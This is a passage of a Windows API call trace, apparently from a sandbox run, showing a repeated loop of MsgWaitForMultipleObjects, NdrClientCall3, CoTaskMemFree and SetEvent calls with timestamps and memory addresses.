pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.962] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.963] CoTaskMemFree (pv=0x2af2f10) [0148.963] SetEvent (hEvent=0x174) returned 1 [0148.963] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.966] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.967] CoTaskMemFree (pv=0x2af2f50) [0148.967] SetEvent (hEvent=0x174) returned 1 [0148.967] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.970] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.971] CoTaskMemFree (pv=0x2af2f10) [0148.971] SetEvent (hEvent=0x174) returned 1 [0148.971] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.976] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.976] CoTaskMemFree (pv=0x372100) [0148.976] SetEvent (hEvent=0x174) returned 1 [0148.977] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.980] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.980] CoTaskMemFree (pv=0x2af2f50) [0148.980] SetEvent (hEvent=0x174) returned 1 [0148.980] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.982] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.983] CoTaskMemFree (pv=0x372100) [0148.983] SetEvent (hEvent=0x174) returned 1 [0148.983] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.987] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.988] CoTaskMemFree (pv=0x2af2f10) [0148.988] SetEvent (hEvent=0x174) returned 1 [0148.988] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.990] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.991] CoTaskMemFree (pv=0x2af2f50) [0148.991] SetEvent (hEvent=0x174) returned 1 [0148.991] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.993] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.994] CoTaskMemFree (pv=0x2af2f10) [0148.994] SetEvent (hEvent=0x174) returned 1 [0148.994] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0148.997] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0148.998] CoTaskMemFree (pv=0x372100) [0148.998] SetEvent (hEvent=0x174) returned 1 [0148.998] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.000] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.001] CoTaskMemFree (pv=0x372100) [0149.001] SetEvent (hEvent=0x174) returned 1 [0149.001] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.004] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.005] CoTaskMemFree (pv=0x32cfc0) [0149.005] SetEvent (hEvent=0x174) returned 1 [0149.005] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.008] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.008] CoTaskMemFree (pv=0x2af2f50) [0149.008] SetEvent (hEvent=0x174) returned 1 [0149.008] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.013] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.013] CoTaskMemFree (pv=0x2af2f10) [0149.014] SetEvent (hEvent=0x174) returned 1 [0149.014] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.036] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.037] CoTaskMemFree (pv=0x372100) [0149.037] SetEvent (hEvent=0x174) returned 1 [0149.037] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.049] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.050] CoTaskMemFree (pv=0x2af2f50) [0149.050] SetEvent (hEvent=0x174) returned 1 [0149.050] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.076] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.077] CoTaskMemFree (pv=0x2af2f10) [0149.077] SetEvent (hEvent=0x174) returned 1 [0149.077] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.091] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.092] CoTaskMemFree (pv=0x2af2f50) [0149.092] SetEvent (hEvent=0x174) returned 1 [0149.092] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.134] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.136] CoTaskMemFree (pv=0x2af2f10) [0149.136] SetEvent (hEvent=0x174) returned 1 [0149.136] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.139] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.140] CoTaskMemFree (pv=0x2af2f50) [0149.140] SetEvent (hEvent=0x174) returned 1 [0149.140] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.160] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.161] CoTaskMemFree (pv=0x2af2f10) [0149.161] SetEvent (hEvent=0x174) returned 1 [0149.161] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.172] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.172] CoTaskMemFree (pv=0x2af2f50) [0149.172] SetEvent (hEvent=0x174) returned 1 [0149.172] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.241] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.242] CoTaskMemFree (pv=0x372100) [0149.242] SetEvent (hEvent=0x174) returned 1 [0149.242] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.247] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.249] CoTaskMemFree (pv=0x2af2f10) [0149.249] SetEvent (hEvent=0x174) returned 1 [0149.249] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.270] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.271] CoTaskMemFree (pv=0x380310) [0149.271] SetEvent (hEvent=0x174) returned 1 [0149.271] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.286] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.288] CoTaskMemFree (pv=0x2af2f50) [0149.288] SetEvent (hEvent=0x174) returned 1 [0149.288] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.314] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.317] CoTaskMemFree (pv=0x372100) [0149.317] SetEvent (hEvent=0x174) returned 1 [0149.317] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.329] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.331] CoTaskMemFree (pv=0x2af2f10) [0149.331] SetEvent (hEvent=0x174) returned 1 [0149.331] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.363] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.364] CoTaskMemFree (pv=0x380310) [0149.364] SetEvent (hEvent=0x174) returned 1 [0149.364] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.376] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.378] CoTaskMemFree (pv=0x2af2f50) [0149.378] SetEvent (hEvent=0x174) returned 1 [0149.378] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.412] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.413] CoTaskMemFree (pv=0x2af2f10) [0149.413] SetEvent (hEvent=0x174) returned 1 [0149.413] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.420] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.422] CoTaskMemFree (pv=0x32f000) [0149.422] SetEvent (hEvent=0x174) returned 1 [0149.422] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.431] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.432] CoTaskMemFree (pv=0x32f000) [0149.432] SetEvent (hEvent=0x174) returned 1 [0149.432] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.483] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.484] CoTaskMemFree (pv=0x380130) [0149.484] SetEvent (hEvent=0x174) returned 1 [0149.484] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.488] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.489] CoTaskMemFree (pv=0x3601f0) [0149.489] SetEvent (hEvent=0x174) returned 1 [0149.489] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.490] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.491] CoTaskMemFree (pv=0x380130) [0149.491] SetEvent (hEvent=0x174) returned 1 [0149.491] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.498] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.499] CoTaskMemFree (pv=0x3c5a30) [0149.499] SetEvent (hEvent=0x174) returned 1 [0149.499] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.503] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.503] CoTaskMemFree (pv=0x2af2f90) [0149.503] SetEvent (hEvent=0x174) returned 1 [0149.503] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.504] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.505] CoTaskMemFree (pv=0x360290) [0149.505] SetEvent (hEvent=0x174) returned 1 [0149.505] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.514] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.514] CoTaskMemFree (pv=0x2af2fd0) [0149.515] SetEvent (hEvent=0x174) returned 1 [0149.515] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.515] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.516] CoTaskMemFree (pv=0x3c20f0) [0149.516] SetEvent (hEvent=0x174) returned 1 [0149.516] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.516] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.517] CoTaskMemFree (pv=0x3c20f0) [0149.517] SetEvent (hEvent=0x174) returned 1 [0149.517] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.551] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.552] CoTaskMemFree (pv=0x380130) [0149.553] SetEvent (hEvent=0x174) returned 1 [0149.553] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.556] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.556] CoTaskMemFree (pv=0x360380) [0149.556] SetEvent (hEvent=0x174) returned 1 [0149.556] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.557] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.557] CoTaskMemFree (pv=0x380130) [0149.558] SetEvent (hEvent=0x174) returned 1 [0149.558] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.563] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.564] CoTaskMemFree (pv=0x3c5fe0) [0149.564] SetEvent (hEvent=0x174) returned 1 [0149.564] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.568] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.569] CoTaskMemFree (pv=0x2af2f50) [0149.569] SetEvent (hEvent=0x174) returned 1 [0149.569] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.570] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.570] CoTaskMemFree (pv=0x3601f0) [0149.570] SetEvent (hEvent=0x174) returned 1 [0149.570] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.580] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.583] CoTaskMemFree (pv=0x2af2fd0) [0149.583] SetEvent (hEvent=0x174) returned 1 [0149.584] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.585] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.586] CoTaskMemFree (pv=0x3c20c0) [0149.586] SetEvent (hEvent=0x174) returned 1 [0149.586] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.586] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.587] CoTaskMemFree (pv=0x3c20c0) [0149.587] SetEvent (hEvent=0x174) returned 1 [0149.587] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.616] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.616] CoTaskMemFree (pv=0x380130) [0149.617] SetEvent (hEvent=0x174) returned 1 [0149.617] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.628] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.630] CoTaskMemFree (pv=0x34b530) [0149.630] SetEvent (hEvent=0x174) returned 1 [0149.630] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.631] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.631] CoTaskMemFree (pv=0x3601f0) [0149.631] SetEvent (hEvent=0x174) returned 1 [0149.631] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.643] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.643] CoTaskMemFree (pv=0x3c5a30) [0149.643] SetEvent (hEvent=0x174) returned 1 [0149.643] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.644] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.644] CoTaskMemFree (pv=0x3c20f0) [0149.645] SetEvent (hEvent=0x174) returned 1 [0149.645] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.645] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.645] CoTaskMemFree (pv=0x3c20f0) [0149.645] SetEvent (hEvent=0x174) returned 1 [0149.646] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.646] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.647] CoTaskMemFree (pv=0x3c20f0) [0149.647] SetEvent (hEvent=0x174) returned 1 [0149.647] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.647] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.648] CoTaskMemFree (pv=0x3c20f0) [0149.648] SetEvent (hEvent=0x174) returned 1 [0149.648] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.648] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.649] CoTaskMemFree (pv=0x3c23f0) [0149.649] SetEvent (hEvent=0x174) returned 1 [0149.649] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.650] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.650] CoTaskMemFree (pv=0x3c2450) [0149.650] SetEvent (hEvent=0x174) returned 1 [0149.650] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.651] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.651] CoTaskMemFree (pv=0x3c2450) [0149.651] SetEvent (hEvent=0x174) returned 1 [0149.652] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.652] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.652] CoTaskMemFree (pv=0x3c22d0) [0149.653] SetEvent (hEvent=0x174) returned 1 [0149.653] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.653] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.654] CoTaskMemFree (pv=0x380310) [0149.654] SetEvent (hEvent=0x174) returned 1 [0149.654] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.658] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.658] CoTaskMemFree (pv=0x360290) [0149.658] SetEvent (hEvent=0x174) returned 1 [0149.659] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.659] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.660] CoTaskMemFree (pv=0x3c07b0) [0149.660] SetEvent (hEvent=0x174) returned 1 [0149.660] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.663] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.663] CoTaskMemFree (pv=0x360470) [0149.663] SetEvent (hEvent=0x174) returned 1 [0149.663] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.667] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.668] CoTaskMemFree (pv=0x3605b0) [0149.668] SetEvent (hEvent=0x174) returned 1 [0149.668] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.668] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.669] CoTaskMemFree (pv=0x3c0630) [0149.669] SetEvent (hEvent=0x174) returned 1 [0149.669] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.674] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.675] CoTaskMemFree (pv=0x3c07b0) [0149.675] SetEvent (hEvent=0x174) returned 1 [0149.675] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.676] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.677] CoTaskMemFree (pv=0x3c22d0) [0149.677] SetEvent (hEvent=0x174) returned 1 [0149.677] MsgWaitForMultipleObjects (nCount=0x2, pHandles=0x7fef7b1d708*=0x170, fWaitAll=0, dwMilliseconds=0x96, dwWakeMask=0x4ff) returned 0x0 [0149.677] NdrClientCall3 (pProxyInfo=0x7fef7aacfc8, nProcNum=0x3, pReturnValue=0x0) returned 0x0 [0149.678] CoTaskMemFree (pv=0x3c22d0) 